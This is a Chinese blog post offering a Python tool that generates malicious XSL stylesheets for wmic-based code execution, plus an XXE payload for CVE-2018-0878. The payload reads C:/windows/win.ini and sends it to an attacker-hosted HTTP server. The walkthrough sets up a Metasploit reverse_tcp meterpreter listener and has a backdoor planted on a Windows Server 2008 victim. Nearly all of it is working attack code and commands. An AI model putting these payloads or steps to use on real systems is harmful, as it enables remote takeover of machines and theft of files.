0x00前言


今天加载了Demon哥分享的RSS。其中有一篇是三好学生讲的:

在仔细越读这篇文章后,我懂得了里面的一些骚操作,所以有了以下的

脚本。

0x001代码


import optparse
import time
import os
import socket def main():
parser=optparse.OptionParser()
parser.add_option('-b',dest='local',action='store_true',help='Generator Local Xsl')
parser.add_option('-y',dest='Long',action='store_true',help='Generator Long-range Xsl')
parser.add_option('-j',dest='CVE',action='store_true',help='Conduct CVE-2018-0878')
(options,args)=parser.parse_args()
if options.local:
Local()
elif options.Long:
Long()
elif options.CVE:
Cve()
else:
parser.print_help()
exit() def Local():
with open('poc.xsl','w') as l:
l.write('''<?xml version="1.0"?>
<!-- Copyright (c) Microsoft Corporation. All rights reserved. -->
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="urn:my-scripts">
<xsl:output encoding="utf-16" omit-xml-declaration="yes"/>
<xsl:param name="norefcomma"/> <msxsl:script language="JScript" implements-prefix="user">
function myFunction() {
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
return "";
}
</msxsl:script> <xsl:template match="/"> <xsl:value-of select="user:myFunction()"/> Node,<xsl:for-each select="COMMAND/RESULTS[1]/CIM/INSTANCE[1]//PROPERTY|COMMAND/RESULTS[1]/CIM/INSTANCE[1]//PROPERTY.ARRAY|COMMAND/RESULTS[1]/CIM/INSTANCE[1]//PROPERTY.REFERENCE"><xsl:value-of select="@NAME"/><xsl:if test="position()!=last()">,</xsl:if></xsl:for-each><xsl:apply-templates select="COMMAND/RESULTS"/></xsl:template> <xsl:template match="RESULTS" xml:space="preserve"><xsl:apply-templates select="CIM/INSTANCE"/></xsl:template>
<xsl:template match="VALUE.ARRAY" xml:space="preserve">{<xsl:for-each select="VALUE"><xsl:apply-templates select="."/><xsl:if test="position()!=last()">;</xsl:if></xsl:for-each>}</xsl:template>
<xsl:template match="VALUE" xml:space="preserve"><xsl:value-of select="."/></xsl:template>
<xsl:template match="INSTANCE" xml:space="preserve">
<xsl:value-of select="../../@NODE"/>,<xsl:for-each select="PROPERTY|PROPERTY.ARRAY|PROPERTY.REFERENCE"><xsl:apply-templates select="."/><xsl:if test="position()!=last()">,</xsl:if></xsl:for-each></xsl:template> <xsl:template match="PROPERTY.REFERENCE" xml:space="preserve"><xsl:apply-templates select="VALUE.REFERENCE"></xsl:apply-templates></xsl:template> <xsl:template match="PROPERTY"><xsl:apply-templates select="VALUE"/></xsl:template>
<xsl:template match="PROPERTY.ARRAY"><xsl:for-each select="VALUE.ARRAY"><xsl:apply-templates select="."/></xsl:for-each></xsl:template> <xsl:template match="VALUE.REFERENCE">"<xsl:apply-templates select="INSTANCEPATH/NAMESPACEPATH"/><xsl:apply-templates select="INSTANCEPATH/INSTANCENAME|INSTANCENAME"/>"</xsl:template> <xsl:template match="NAMESPACEPATH">\\<xsl:value-of select="HOST/text()"/><xsl:for-each select="LOCALNAMESPACEPATH/NAMESPACE">\<xsl:value-of select="@NAME"/></xsl:for-each>:</xsl:template> <xsl:template match="INSTANCENAME"><xsl:value-of select="@CLASSNAME"/><xsl:for-each select="KEYBINDING"><xsl:if test="position()=1">.</xsl:if><xsl:value-of select="@NAME"/>="<xsl:value-of select="KEYVALUE/text()"/>"<xsl:if test="position()!=last()"></xsl:if><xsl:if test="not($norefcomma=&quot;true&quot;)">,</xsl:if><xsl:if test="$norefcomma=&quot;true&quot;"><xsl:text> </xsl:text></xsl:if></xsl:for-each></xsl:template> </xsl:stylesheet>
''')
l.close()
print('[*]{}'.format('Generation completion'))
print('[*]{}'.format('you want to bounce meterpreter.Please create the back door and put the generated back door inito the clear computer,and use modify.py to modify the place where exe is executed'))
print('[*]{}'.format('Enter the directory where you store poc.xsl and exeute the command in the target computer: wmic os get format:poc')) def Long():
with open('Longpoc.xsl','w') as g:
g.write('''<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]> </ms:script>
</stylesheet>
''')
g.close()
print('[*]{}'.format('Generation completion'))
os.system('mv Longpoc.xsl /var/www/html')
print('[*]{}'.format('This XSL is moved to the /var/www/html directory'))
print('[*]{}'.format('Modify the program executed in XLS with modify.py'))
print('[*]{}'.format('Put the generated back door into the target computer'))
print('[*]{}'.format('Start the Apache service'))
print('[*]{}'.format('wmic os get format:"http://IP/Longpoc.xsl"')) def Cve():
print('[@]Vulnerability introduction:https://www.exploit-db.com/exploits/44352/')
s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
connect=s.connect(('8.8.8.8',80))
ip=s.getsockname()[0]
ml="python -m SimpleHTTPServer 8080"
with open('xxe.xml','w') as c:
c.write('''<!ENTITY % payload SYSTEM "file:///C:/windows/win.ini">
<!ENTITY % root "<!ENTITY % oob SYSTEM 'http://{}/?%payload;'> ">
'''.format(ip))
c.close()
os.system('mv payload.xls /var/www/html') with open('payload.xsl','w') as p:
p.write('''<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE zsl [
<!ENTITY % remote SYSTEM "http://{}:8080/xxe.xml">
%remote;%root;%oob;]>
'''.format(ip))
p.close()
print('[*]{}'.format('Get the native IP:',ip))
print('[*]{}'.format('Create a httt server'))
print('[*]{}'.format('Have been created xxe.xml'))
print('[*]{}'.format('Already moved /var/www/html'))
print('[*]{}'.format('Have benn payload.xls,Move him to the computer,And execute the command:wmic os get format:payload.xsl'))
os.system(ml)
if __name__ == '__main__':
main()

测试结果: -b

攻击机:Ubuntu

受害者:windows server 2008 r2

生成后并修改后的的xsl

msfvenom生成的shell.exe

Windows Server 2008 r2

进入shell.exe所在的目录中在cmd中执行:wmic os get /format:sd

Ubuntu中执行监听:

use exploit/multi/headers
set LHOST 192.168.223.133
set LPORT 4444
set PAYLOAD windows/x64/meterpreter/reverse_tcp
run

测试结果:-j   CVE-2018-0878

漏洞结果详情:https://www.exploit-db.com/exploits/44352/

生成了xxe.xml与payload.xls

xxe.xml移动到了/var/www/html

payload.xls放入到受害者windows server 2008 r2

xxe.xml:

<!ENTITY % payload SYSTEM "file:///C:/windows/win.ini">
<!ENTITY % root "<!ENTITY % oob SYSTEM 'http://192.168.223.133:8080/?%payload;'> ">

payload.xsl:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE zsl [
<!ENTITY % remote SYSTEM "http://192.168.223.133:8080/xxe.xml">
%remote;%root;%oob;]>

启动apache服务

service apache2 start

在windows server 2008 r2中执行:

wmic os get /format:payload.xsl

执行失败但漏洞触发成功了。

这里的-b选项我就不演示了,具体步骤跟上面两个差不多

1.生成的poc.xsl修改在目标机上执行的程序并移动到apache2

2.开启apache2

3.将生成的后门扔到目标机

4.执行wmic os get /format:"http://192.168.223.133/poc.xsl"

这时候wmic就会请求xsl并执行。你如果此刻在监听你就收到了一个shell

python打造XslGenerator的更多相关文章

  1. 教你用python打造WiFiddos

    本文来源于i春秋学院,未经允许严禁转载. 0x00 前言因为在百度上很难找到有关于用python打造WiFidos的工具的,而且不希望大家成为一名脚本小子,所以我打算写一篇,需要的工具有scapy,i ...

  2. phantomjs + python 打造一个微信机器人

    phantomjs + python 打造一个微信机器人 1.前奏   媳妇公司不能上网,但经常需要在公众号上找一些文章做一些参考,需要的时候就把文章链接分享给我,然后我在浏览器打开网页,一点点复制过 ...

  3. 【python】10分钟教你用python打造贪吃蛇超详细教程

    10分钟教你用python打造贪吃蛇超详细教程 在家闲着没妹子约, 刚好最近又学了一下python,听说pygame挺好玩的.今天就在家研究一下, 弄了个贪吃蛇出来.希望大家喜欢. 先看程序效果: 0 ...

  4. 10分钟教你用Python打造微信天气预报机器人

    01 前言 最近武汉的天气越来越恶劣了.动不动就下雨,所以,拥有一款好的天气预报工具,对于我们大学生来说,还真是挺重要的了.好了,自己动手,丰衣足食,我们来用Python打造一个天气预报的微信机器人吧 ...

  5. 第11章:使用Python打造MySQL专家系统

    1.Python语言高级特性 1).深入浅出Python生成器 1).生成器函数:与普通函数定义类似,使用yield语句而不是return语句返回结果.yield语句一次返回一个结果,在每个结果中间挂 ...

  6. 基于微博数据用 Python 打造一颗“心”

    一年一度的虐狗节刚过去不久,朋友圈各种晒,晒自拍,晒娃,晒美食,秀恩爱的.程序员在晒什么,程序员在加班.但是礼物还是少不了的,送什么好?作为程序员,我准备了一份特别的礼物,用以往发的微博数据打造一颗“ ...

  7. 自己动手python打造渗透工具集

    难易程度:★★★阅读点:python;web安全;文章作者:xiaoye文章来源:i春秋关键字:网络渗透技术 前言python是门简单易学的语言,强大的第三方库让我们在编程中事半功倍,今天我们就来谈谈 ...

  8. python打造渗透工具集

    python是门简单易学的语言,强大的第三方库让我们在编程中事半功倍,今天我们就来谈谈python在渗透测试中的应用,让我们自己动手打造自己的渗透工具集. 难易程度:★★★阅读点:python;web ...

  9. “猜你喜欢”的背后揭秘--10分钟教你用Python打造推荐系统

    欲直接下载代码文件,关注我们的公众号哦!查看历史消息即可! 话说,最近的瓜实在有点多,从我科校友李雨桐怒锤某男.陈羽凡吸毒被捕.蒋劲夫家暴的三连瓜,到不知知网翟博士,再到邓紫棋解约蜂鸟.王思聪花千芳隔 ...

随机推荐

  1. CSDN博客积分规则

    1.博客积分规则 博客积分是CSDN对用户努力的认可和奖励,也是衡量博客水平的重要标准.博客等级也将由博客积分唯一决定.积分规则具体如下: 每发布一篇原创或者翻译文章:可获得10分: 每发布一篇转载文 ...

  2. 地图API的选择和使用

    在我们程序员的日常开发中,总会时不时的需要用到地图开发,我也在多次碰到之后,写下我对地图开发的理解经验和总结. 一.地图的选择 回想一下我们生活中用到的地图工具,数了一下,百度地图,高德地图,腾讯地图 ...

  3. nodejs返回接口给前端

    1.修改app.js文件,将其中的user路由去掉. 2.在index路由中配置如下:   router.all('*', function(req, res, next) { res.header( ...

  4. install build essential

    CentOS: sudo yum groupinstall 'Development Tools' Ubuntu: sudo apt-get install build-essential

  5. CSS格式化工具

    一直想自己写个css格式化工具,因为原先的<CSS代码格式化和压缩化>工具,压缩or格式化的都不是我的编码习惯.我的格式化工具也许代码方面细节方面都没他的好,但是符合自身需要的东西才是好东 ...

  6. 每天一个linux命令:【转载】nl命令

    nl命令在linux系统中用来计算文件中行号.nl 可以将输出的文件内容自动的加上行号!其默认的结果与 cat -n 有点不太一样, nl 可以将行号做比较多的显示设计,包括位数与是否自动补齐 0 等 ...

  7. bzoj 2850 巧克力王国

    bzoj 2850 巧克力王国 钱限题.题面可以看这里. 显然 \(x\) \(y\) 可以看成坐标平面上的两维,蛋糕可以在坐标平面上表示为 \((x,y)\) ,权值为 \(h\) .用 \(kd- ...

  8. Page View Controllers

    Page View Controllers You use a page view controller to present content in a page-by-page manner. A ...

  9. python笔记-19 javascript补充、web框架、django基础

    一.JavaScript的补充 1 正则表达式 1.1 test的使用 test 测试是否符合条件 返回true or false 1.2 exec的使用 exec 从字符串中截取匹配的字符 1.3 ...

  10. ssh连接至Ubuntu服务器时,提示以下错误:REMOTE HOST IDENTIFICATION HAS CHANGED!

    今天在使用Ubuntu搭建自己的git仓库的时候,搭建完成后clone时出现以下错误 经过搜索问题出现原因的描述如下:第一次使用SSH连接时,会生成一个认证,储存在客户端的known_hosts中. ...